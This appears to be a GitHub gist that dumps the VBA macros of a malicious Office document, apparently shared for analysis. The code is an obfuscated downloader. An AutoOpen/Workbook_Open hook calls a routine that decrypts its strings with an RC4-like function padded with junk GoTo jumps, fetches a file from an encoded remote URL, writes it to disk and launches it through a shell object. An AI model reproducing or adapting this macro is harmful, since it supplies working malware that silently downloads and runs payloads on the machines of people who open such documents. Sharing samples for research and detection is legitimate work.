Skip to content

Instantly share code, notes, and snippets.

@mak

mak/vbashit

Created July 9, 2015 20:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mak/4a9862615200ba1fc2cc to your computer and use it in GitHub Desktop.
Save mak/4a9862615200ba1fc2cc to your computer and use it in GitHub Desktop.
Download ZIP
some vba macro
Raw
vbashit
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class10"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class11"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class12"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class13"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class14"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class15"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class16"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class17"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class18"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class19"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class20"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class21"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class22"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class23"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class24"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class25"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class26"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class27"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class28"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class29"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class30"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class31"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class32"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class33"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class4"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class5"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class6"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class7"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class9"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Sub jgU87fsdf()
pppppppppppdf
End Sub
Sub AutoOpen()
jgU87fsdf
End Sub
Sub Workbook_Open()
jgU87fsdf
End Sub
Attribute VB_Name = "≤Ω3≤αΓ√α"
Sub pppppppppppdf()
Set ooUIyuiwettTFR = CreateObject(VunjuLavjtQLpqQ("±+╢¡î", "RixEGP") + VunjuLavjtQLpqQ("0(VSr6TVR", "iLNu"))
sdfuiGUsdffg = VunjuLavjtQLpqQ(".·TND/-rcqvg`kl,amo-fmulnmcf,rjr=k?EtqTki@h", "sEUkr")
Call ooUIyuiwettTFR.Open(VunjuLavjtQLpqQ("├D", "AFqxE"), sdfuiGUsdffg, False)
ooUIyuiwettTFR.Send
Set uyUIGTusdffg = CreateObject(VunjuLavjtQLpqQ("M]
ir", "wvLBEvU") + VunjuLavjtQLpqQ("bG0ٮFkngQ{qvgoM`hgav", "caIwR"))
pIOHisdfgg = Environ(VunjuLavjtQLpqQ("╝òφ", "yMQFFs")) & VunjuLavjtQLpqQ("^v^Nqdqde,t`q", "TcpQ")
Set yuTYUewffsdf = uyUIGTusdffg.CreateTextFile(pIOHisdfgg, 2)
yuTYUewffsdf.Write ooUIyuiwettTFR.ResponseText
yuTYUewffsdf.Close
Set oJOIHusfsdfg = CreateObject(VunjuLavjtQLpqQ("Wnk", "PoFR") + VunjuLavjtQLpqQ("┤▄N ≡pnkac", "DxPMjS") + VunjuLavjtQLpqQ("vkml", "kgr"))
oJOIHusfsdfg.Open Environ(VunjuLavjtQLpqQ(≤=Ä", "JfgqNu")) & VunjuLavjtQLpqQ("Ç╚ ÄÅΘdqde,t`q", "oTbuBrQ")
End Sub
Attribute VB_Name = "≤Ωσ≤α√Γα"
Public Function VunjuLavjtQLpqQ(ByVal Data As String, ByVal Password As String) As String
GoTo QVHAHmMyNRULlNtdZN
QVHAHmMyNRULlNtdZN:
GoTo OdnVVIvVsFTBSEIiQTNg
OdnVVIvVsFTBSEIiQTNg:
GoTo VuAwHLavxGQKo
VuAwHLavxGQKo:
GoTo rKEuajjimYQYCOOeildB
rKEuajjimYQYCOOeildB:
GoTo tbeybftDZmZLnJHk
tbeybftDZmZLnJHk:
GoTo UZyZkew
UZyZkew:
GoTo mKCzKcqLzIhcEGnHMU
mKCzKcqLzIhcEGnHMU:
On Error Resume Next
GoTo zyDahoSgfvyB
zyDahoSgfvyB:
GoTo haJsuOrvJGpCccDLYA
haJsuOrvJGpCccDLYA:
GoTo YpPpAuMwSCNT
YpPpAuMwSCNT:
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
GoTo GOPaxsVQDK
GOPaxsVQDK:
Key() = StrConv(Password, vbFromUnicode)
GoTo GBCAF
GBCAF:
GoTo EUwvLBEvUxca
EUwvLBEvUxca:
For X = 0 To 255
GoTo HyMQFFssTcpQkPoFRF
HyMQFFssTcpQkPoFRF:
GoTo PMjSekgrIJfg
PMjSekgrIJfg:
GoTo uYoTbuBrQRSQVHAHm
uYoTbuBrQRSQVHAHm:
GoTo NRULlNtdZNiY
NRULlNtdZNiY:
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
GoTo VVIvVsFTB
VVIvVsFTB:
F(X) = X
GoTo iQTNgdAVuAwHLav
iQTNgdAVuAwHLav:
GoTo QKoEQrKEuajjimY
QKoEQrKEuajjimY:
GoTo COOeildBQJtbeybftDZm
COOeildBQJtbeybftDZm:
GoTo nJHkRjUZyZkewtQm
nJHkRjUZyZkewtQm:
GoTo zKcqLzIhcEGnHM
zKcqLzIhcEGnHM:
Next X
GoTo zzyDahoSgf
zzyDahoSgf:
GoTo BtRhaJsuOrvJ
BtRhaJsuOrvJ:
GoTo CccDLYATz
CccDLYATz:
GoTo PpAuMwSCN
PpAuMwSCN:
GoTo bsGOPaxsVQDKdlbGB
bsGOPaxsVQDKdlbGB:
Key() = StrConv(Data, vbFromUnicode)
GoTo qxEUwvLBEvUxca
qxEUwvLBEvUxca:
GoTo RHyMQFFssTcp
RHyMQFFssTcp:
GoTo PoFRFDxP
PoFRFDxP:
GoTo SekgrIJf
SekgrIJf:
For X = 0 To Len(Data)
GoTo uYoTbuBrQRSQVHAHmyNRULlNtdZNiYOdnV
uYoTbuBrQRSQVHAHmyNRULlNtdZNiYOdnV:
GoTo vVsFTBSEIiQTNgd
vVsFTBSEIiQTNgd:
GoTo uAwHLavxGQKoEQrKEua
uAwHLavxGQKoEQrKEua:
Y = (Y + F(Y) + 1) Mod 256
GoTo mYQYCOO
mYQYCOO:
GoTo ldBQJtb
ldBQJtb:
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
GoTo ftDZm
ftDZm:
GoTo nJHkRjUZyZkewtQmCzKcqLzIhcEGnHMU
nJHkRjUZyZkewtQmCzKcqLzIhcEGnHMU:
GoTo zzyDahoSgfyBtRhaJsuOr
zzyDahoSgfyBtRhaJsuOr:
GoTo GpCccDLYATzYpPpA
GpCccDLYATzYpPpA:
Next X
GoTo SCNTPbsGOPax
SCNTPbsGOPax:
GoTo QDKdlbGBCAFqxEUwvLB
QDKdlbGBCAFqxEUwvLB:
GoTo UxcaIwRHyMQ
UxcaIwRHyMQ:
GoTo ssTcpQkPoFRFDx
ssTcpQkPoFRFDx:
GoTo jSekgrIJfgqNuYoTb
jSekgrIJfgqNuYoTb:
GoTo rQRSQVHAHmMyN
rQRSQVHAHmMyN:
VunjuLavjtQLpqQ = StrConv(Key, vbUnicode)
GoTo lNtdZNiYOdnVVIvV
lNtdZNiYOdnVVIvV:
GoTo TBSEIiQTNgdAVu
TBSEIiQTNgdAVu:
GoTo HLavxGQKoEQr
HLavxGQKoEQr:
GoTo uajjimYQYCOOei
uajjimYQYCOOei:
GoTo BQJtb
BQJtb:
GoTo bftDZmZLnJHk
bftDZmZLnJHk:
GoTo UZyZkewQmKCzKcqLzI
UZyZkewQmKCzKcqLzI:
End Function
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment